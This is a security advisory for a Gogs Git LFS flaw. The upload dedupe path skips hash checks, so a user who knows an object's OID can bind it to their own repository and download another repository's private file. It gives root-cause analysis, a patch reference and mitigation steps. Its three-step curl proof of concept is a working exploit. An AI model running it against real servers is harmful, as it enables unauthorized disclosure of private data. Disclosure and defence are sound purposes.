CVE-2026-52812: Gogs LFS Cross-Tenant Object Disclosure via Dedupe Shortcut
A flaw in Gogs Git LFS lets any user with write access to one repository claim ownership of a private repository's stored file by uploading garbage bytes under a known OID, then download the original

The problem
Gogs stores all LFS objects in a single global content-addressed tree keyed only by SHA-256 OID. Per-repo access control is a separate database table with a composite key (repo_id, oid).
The upload handler in LocalStorage.Upload (internal/lfsx/storage.go:79-82) short-circuits when the OID file already exists on disk: it discards the request body with io.Copy(io.Discard, rc) and returns success immediately. Hash verification only runs in the new-file branch, so the dedupe path never checks whether the body matches the claimed OID.
serveUpload (internal/route/lfs/basic.go:78-114) trusts that success and unconditionally inserts a new (attacker_repo_id, oid) row into lfs_object. serveDownload then consults only that per-repo row, finds it, and streams alice's on-disk bytes directly to bob.
The binding persists until manually removed; revoking write access does not clean up existing rows.
Proof of concept
# Prerequisites:
# - Gogs >= 0.12.0 with [lfs] ENABLED = true
# - bob has write access to bob/scratch; no access to alice/secrets
# - $OID is known (leaked pointer file, public ancestor commit, etc.)
GOGS="https://gogs.example"
BOB_AUTH="-u bob:bob_password"
OID="<sha256-oid-of-target-object>" # 64 hex chars
SIZE=<size-in-bytes>
# Step 1 — verify bob has no download claim on $OID (expect 404)
curl -sS $BOB_AUTH \
-H 'Accept: application/vnd.git-lfs+json' \
-H 'Content-Type: application/vnd.git-lfs+json' \
-X POST "$GOGS/bob/scratch.git/info/lfs/objects/batch" \
--data "{\"operation\":\"download\",\"objects\":[{\"oid\":\"$OID\",\"size\":$SIZE}]}"
# -> "error":{"code":404,"message":"Object does not exist"}
# Step 2 — PUT arbitrary garbage under the victim's OID to bob's LFS endpoint.
# The on-disk file for $OID already exists (alice uploaded it).
# LocalStorage.Upload hits the dedupe branch: drains garbage body, returns alice's
# size, no hash check. serveUpload inserts (bob/scratch, $OID) into lfs_object.
curl -sS $BOB_AUTH \
-H 'Content-Type: application/octet-stream' \
-X PUT --data-binary 'irrelevant attacker-controlled bytes' \
"$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID"
# -> HTTP 200 OK
# Step 3 — download alice's bytes via bob's endpoint
curl -sS $BOB_AUTH \
"$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID" -o /tmp/leaked
sha256sum /tmp/leaked
# -> matches $OID exactly; content is alice's private fileThe root cause is CWE-345 (Insufficient Verification of Data Authenticity) combined with CWE-639 (Authorization Bypass Through User-Controlled Key). The attacker supplies the OID as a URL path parameter, which Gogs uses as the lookup key into both the filesystem and the lfs_object table, but the dedupe branch in LocalStorage.Upload never verifies the supplied OID matches a SHA-256 hash of the body.
Because the on-disk file is shared across all repos, inserting a (repo_id, oid) row is the only gate between upload and download. The dedupe shortcut removes that gate for any OID that already exists on disk, meaning possession of the OID string alone is sufficient to claim read access.
The patch (commit f35a767af74e05342bafc6fdda02c791816426f8, PR #8333) adds io.TeeReader-based SHA-256 verification to the dedupe branch, mirroring what the new-file branch already did. An OID mismatch now returns ErrOIDMismatch before CreateLFSObject is ever called.
The fix
Upgrade to Gogs v0.14.3 (commit f35a767af74e05342bafc6fdda02c791816426f8, PR #8333). If immediate upgrade is not possible, set ENABLED = false under the [lfs] section in app.ini to disable LFS entirely, and restrict repository write access to trusted users only.
After upgrading, audit the lfs_object table for unexpected cross-repo bindings introduced before the patch.